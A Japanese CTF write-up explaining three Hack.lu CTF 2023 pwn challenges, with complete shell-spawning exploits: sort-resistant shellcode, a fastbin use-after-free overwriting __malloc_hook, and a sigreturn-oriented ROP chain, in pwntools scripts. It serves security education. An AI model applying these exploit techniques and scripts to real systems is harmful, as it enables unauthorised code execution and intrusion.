はじめに
コンサルティングサービス部の鈴木です。普段はレッドチーム業務を担当しています。
今回は2023年10月14日から16日に開催されたHack.lu CTFにTeam Enuの一員として参加してきたので、技術的な解説記事を書こうと思います。
競技ページ: https://flu.xxx/challenges
Destiny Digits
対象のプログラムを解析するとおおよそ以下のような動作になっていました。
1. データを受け取る
2. 4バイトの整数列(ビッグエンディアン)としてデータをソートする
3. データを機械語として実行する
送りこんだ機械語を実行することができますが、
4バイトの整数としてソートされてコードが崩れてしまいます。
これを解決するために、以下のように本当に実行したい命令の前にjmp命令を置きます。
ソートされても順序が変化しないようにjmp命令のオフセット部分を調整しておいて、
余った2バイト分のスペースを使ってプログラムを組みます。

実行したいプログラムは以下のようにexecve("/bin/sh", {"/bin/sh", NULL}, NULL);
を実行するプログラムです。
最初のmov rdi, ...
の部分だけは1命令で2バイトより大きくなってしまいますが、
運よくソートされても順序が変化しないデータ列になっているので、このまま使います。
[bits 64]
; rdi <- p64("//bin/sh")
mov rdi, 0x68732f6e69622f2f
mov al, 59
; rcx is 0
push rcx ; (top) -> 0
push rdi
push rsp
pop rdi ; rdi = "//bin/sh\0"
push rcx ; push NULL
push rdi ; create { "//bin/sh", NULL }
push rsp
pop rsi ; rsi = { "//bin/sh", NULL }
syscall ; execve("//bin/sh", { "//bin/sh", NULL }, NULL);
jmpの手法と上のシェルコードを組み合わせて、最終的に以下のような命令列を送って、フラグを取ることができました。
[bits 64]
; nasm this-file.asm
entry:
; rdi <- p64("//bin/sh")
mov rdi, 0x68732f6e69622f2f
mov al, 59
jmp short $+2
push rcx ; (top) -> 0
nop
jmp short $+6
db 0, 0
jmp short $+6
push rdi
push rsp
jmp short $+10
db 0, 0
jmp short $+10
db 1, 0
jmp short $+10
pop rdi ; rdi = "//bin/sh\0"
push rcx ; push NULL
jmp short $+14
db 0, 0
jmp short $+14
db 1, 0
jmp short $+14
db 2, 0
jmp short $+14
push rdi ; { "//bin/sh", NULL }
push rsp
jmp short $+18
db 0, 0
jmp short $+18
db 1, 0
jmp short $+18
db 2, 0
jmp short $+18
db 3, 0
jmp short $+18
pop rsi ; rsi = { "//bin/sh", NULL }
nop
jmp short $+22
db 0, 0
jmp short $+22
db 1, 0
jmp short $+22
db 2, 0
jmp short $+22
db 3, 0
jmp short $+22
db 4, 0
jmp short $+22
syscall
このように実際に実行したい命令列にjmp命令を混ぜる手法は、
ブラウザなどのJITコンパイラに対する攻撃で使われる手法で、
状況はまったく違いますが、そこから着想を得てこの問題を解くことができました。
New House
$ ./new_house
Hello fellow architect!
Are you ready to design your new house?
During the construction of the foundation, we found something
interesting in the ground: 0x7f5e74000000
rooms: 0/8
deleted rooms: 0/1
(1) add new room
(2) delete existing room
(3) design a room
(4) list rooms
>>>
プログラムの機能として以下の4つのことができます。
- roomを追加する
- room(の中のdata)を消す
- roomの中のdataに書き込む
- roomの情報を表示する
roomの構造体は以下のようになっていました。
struct room {
char name[16];
char* data; // heap
uint64_t data_size;
};
バグはroom.dataをfreeしたあともroom.dataのポインタが残っていて、
そのまま書き込みなどができてしまうというバグです。
このようなバグはUse After Freeと呼ばれます。
ヒープ領域に関するバグなので、問題環境のヒープがどのような構造になっているかを簡単に解説します。glibcはfreeされた領域を連結リストで管理するようになっていて、
この問題で使われていたバージョンだと、ある程度小さい領域は
fastbinというサイズごとに作られた専用の単方向連結リストにつなぐようになっていました。
(問題で使われていたglibcはだいぶ古く、現在広く使われているものと挙動が異なります。)

このfastbinのリストは次のmallocで返す領域を決めるので、
Use After Freeを使ってリストを書き換えれば次のmallocで重要変数付近の領域を返す
ことも可能です。
次に、mallocの返り値でどこを返すべきかを考えます。malloc系の問題でよくターゲットになる変数として、glibcの__malloc_hookがあります。これはデバッグ用の機能で、__malloc_hookに関数のアドレスが入っているとmallocの内部でその関数が呼ばれます。
例えば__malloc_hook = systemのときにmalloc(10)が呼ばれるとsystem(10)がmallocの内部で呼ばれます。これを使って、シェルを立ち上げます。
(ここもglibcのバージョンアップで変わっていて、この手法は古いglibcでしか使えません。)
この手法には一つ問題があって、
mallocでfastbinから領域を返す際に、その領域のメタデータに適正なサイズが書かれているかというチェックがされます。
https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L3577
malloc_hookの周辺領域を見てみるとlibcのアドレスがいくつか書かれています。
これを前述のサイズチェックを通過するために利用します。
libcのアドレスは上位バイトが0x7fになっていて、この部分がサイズとして解釈されるようにリストの書き換え時にアドレスをずらしておきます。
サイズの下位bitはサイズと直接関係ないフラグとして使われる仕様なので、0x7fでも0x70のサイズチェックを通過できます。これでサイズチェックの問題も解決できました。

エクスプロイトの流れは以下のようになります。
1. 0x70のfastbinに入るサイズ(0x58 < x <= 0x68)のmallocをして、freeする
2. freeした領域の先頭(連結リストのポインタ部分)に、サイズチェックをしたときにサイズ部分が0x7Xになるようにmalloc_hookより少し低いアドレスを書き込む
3. malloc(0x68)を2回する
4. 2回目のmallocで返ってきた領域にsystem関数のアドレスを書き込む
5. libcの"/bin/sh"のアドレスを計算して、malloc("/bin/sh")になるようにmallocを呼ぶ
完成したエクスプロイトを以下に示します。
#!/usr/bin/env python3
from pwn import * # pip3 install pwntools
libc_file = './libc.so.6'
libc = ELF(libc_file)
room_cnt = 0
delete_cnt = 0
def menu(r, n):
r.sendlineafter(b'>>> ', str(n).encode())
def add(r, name, size):
global room_cnt
assert room_cnt < 8
assert len(name) <= 16
menu(r, 1)
r.sendafter(b'roomname? ', name)
r.sendlineafter(b'roomsize? ', str(size).encode())
result = room_cnt
room_cnt += 1
return result
def delete(r, idx):
global delete_cnt
assert delete_cnt < 1
menu(r, 2)
r.sendlineafter(b'roomnumber? ', str(idx).encode())
delete_cnt += 1
def edit(r, idx, what):
global room_in_use
assert idx < room_cnt
menu(r, 3)
r.sendlineafter(b'roomnumber? ', str(idx).encode())
r.sendafter(b'room? ', what)
def ls(r):
menu(r, 4)
result = []
for i in range(room_cnt):
room_id_str = b'room-%d: ' % i
data = r.recvuntil(room_id_str)
if i == 0:
continue
result.append(data[len(room_id_str):])
if 0 < room_cnt:
result.append(r.recvuntil(b'\n')[:-1])
return result
def debug(r):
menu(r, 5)
def main():
r = remote('flu.xxx', 10170)
r.recvuntil(b'ground: ')
libc_base = int(r.recvuntil(b'\n')[:-1], 16)
log.info('libc_base = ' + hex(libc_base))
first = add(r, b'first', 0x68)
delete(r, first)
libc_base_gdb = 0x00007ffff7800000
malloc_hook_gdb = 0x00007ffff7baabf0
libc_binsh_gdb = 0x7ffff79728d5
malloc_hook = libc_base - libc_base_gdb + malloc_hook_gdb
libc_binsh = libc_base - libc_base_gdb + libc_binsh_gdb
edit(r, first, p64(malloc_hook-27-8))
guard = add(r, b'guard', 0x68)
hook = add(r, b'hook', 0x68)
libc_one_gadget = libc_base + 0x40e36
edit(r, guard, b'/bin/sh\0')
edit(r, hook, b'A'*19 + p64(libc_base + libc.symbols['system']))
add(r, b'trigger', libc_binsh)
r.interactive()
if __name__ == '__main__':
main()
pong
pong: file format elf64-x86-64
Disassembly of section .text:
0000000000001000 <_start>:
1000: 41 b8 00 00 00 00 mov r8d,0x0
1006: 48 89 e5 mov rbp,rsp
1009: 48 81 ec 00 02 00 00 sub rsp,0x200
0000000000001010 <loop>:
1010: ba 00 02 00 00 mov edx,0x200
1015: 48 89 e6 mov rsi,rsp
1018: bf 00 00 00 00 mov edi,0x0
101d: b8 00 00 00 00 mov eax,0x0
1022: 0f 05 syscall # read(0, rsp, 0x200)
1024: ba 00 02 00 00 mov edx,0x200
1029: 48 89 ee mov rsi,rbp
102c: bf 01 00 00 00 mov edi,0x1
1031: b8 01 00 00 00 mov eax,0x1
1036: 0f 05 syscall # write(1, rbp, 0x200)
1038: 48 31 c0 xor rax,rax
103b: 49 ff c0 inc r8
103e: 49 83 f8 04 cmp r8,0x4
1042: 7c cc jl 1010 <loop>
1044: c3 ret
アセンブリ言語で書かれたバイナリで、大きなバッファオーバーフローがあります。
また、スタック上のデータをリークしてしまうバグもあり、これによってバイナリが読み込まれているアドレスがわかります。
この問題ではRIPを取るのは簡単ですが、与えられたバイナリがとても小さく、単純なコードの再利用では引数に使うレジスタに任意の値をセットするのが難しそうです。
そこで、sigreturn oriented programmingというテクニックを使います。
https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6956568
sigreturnはシグナルハンドラからもとの中断されていたコードに復帰するときに使われる
システムコールで、スタックから中断前のレジスタの状態を復元します。
これを利用して、あらかじめスタックに積んでおいた値をレジスタにセットします。
sigreturnはRIPとすべての汎用レジスタに値をセットできるので、
任意のアドレスに任意の引数をセットした状態でジャンプすることができます。
問題のバグでスタックに大量のデータを書き込むことはできるので、
あとはsigreturnを呼び出すことができればいろいろできそうです。
与えられたバイナリで使えそうなROPガジェットを探すとinc eax; ... ; ret
があります。これを何回か繰り返し使ってeaxにsigreturnのシステムコール番号をセットして、バイナリの中のsyscallにジャンプするようなROPを組めば任意のコードが実行できます。
最終的に完成したエクスプロイトを以下に示します。
#!/usr/bin/env python3
from pwn import * # pip3 install pwntools
def u64x(data):
return u64(data.ljust(8, b'\0'))
def p64x(*nums):
data = b''
for num in nums:
data += p64(num)
return data
def main():
r = remote('flu.xxx', 10060)
r.send(p64(0xc0ffee))
data = r.recv(0x200)
binary_base = -1
for i in range(0x200//8):
val = u64x(data[8*i:8*i+8])
if (val & 0xfff) == 0x040:
binary_base = val - 0x40
print(hex(val))
log.info('binary_base = ' + hex(binary_base))
for _ in range(2):
r.send(p64(0xc0ffee))
r.recv(0x200)
sys_sigreturn = 15
syscall_clear_rax_ret = 0x1036 + binary_base
inc_eax = 0x103c + binary_base
free_space = 0x2000 + binary_base
# read(0, free_space, 0xf00)
# reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123
stack = b''
stack += p64x(inc_eax) * sys_sigreturn
stack += p64x(syscall_clear_rax_ret) # sigreturn
stack += b'A' * 40
stack += p64x(4) * 8 # r8-r15, r8 = 4 to skip the branch
stack += p64x(0) # rdi
stack += p64x(free_space) # rsi
stack += p64x(0) # rbp
stack += p64x(0) # rbx
stack += p64x(0xf00) # rdx
stack += p64x(0) # rax
stack += p64x(0) # rcx
stack += p64x(free_space + 0x18) # rsp
stack += p64x(syscall_clear_rax_ret) # rip
stack += p64x(0) # eflags
stack += p64x(0x33) # cs, gs, fs
stack += p64x(0) * 4
stack += p64x(0) # &fpstate
assert len(stack) <= 0x200
r.send(stack)
r.recv(0x200)
# prepare { "/bin/sh", NULL }
stack2 = b''
stack2 += b'/bin/sh\0'
stack2 += p64x(free_space, 0)
# execve("/bin/sh", { "/bin/sh", NULL }, NULL);
# reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123
stack2 += p64x(inc_eax) * sys_sigreturn
stack2 += p64x(syscall_clear_rax_ret) # sigreturn
stack2 += b'A' * 40
stack2 += p64x(0) * 8 # r8-r15
stack2 += p64x(free_space) # rdi
stack2 += p64x(free_space + 8) # rsi
stack2 += p64x(0) # rbp
stack2 += p64x(0) # rbx
stack2 += p64x(0) # rdx
stack2 += p64x(59) # rax
stack2 += p64x(0) # rcx
stack2 += p64x(0) # rsp
stack2 += p64x(syscall_clear_rax_ret) # rip
stack2 += p64x(0) # eflags
stack2 += p64x(0x33) # cs, gs, fs
stack2 += p64x(0) * 4
stack2 += p64x(0) # &fpstate
r.send(stack2)
r.interactive()
if __name__ == '__main__':
main()
おわりに
今回は Hack.lu CTF 2023のpwn問題の解説をしました。内容は古いテーマが多かったように思いますが、sigreturn ROPは今回初めてエクスプロイトを書いたのでだいぶ時間がかかってしまいました。こうした問題もより効率的に解けるように、今後も研鑽を積んでいきたいと思います。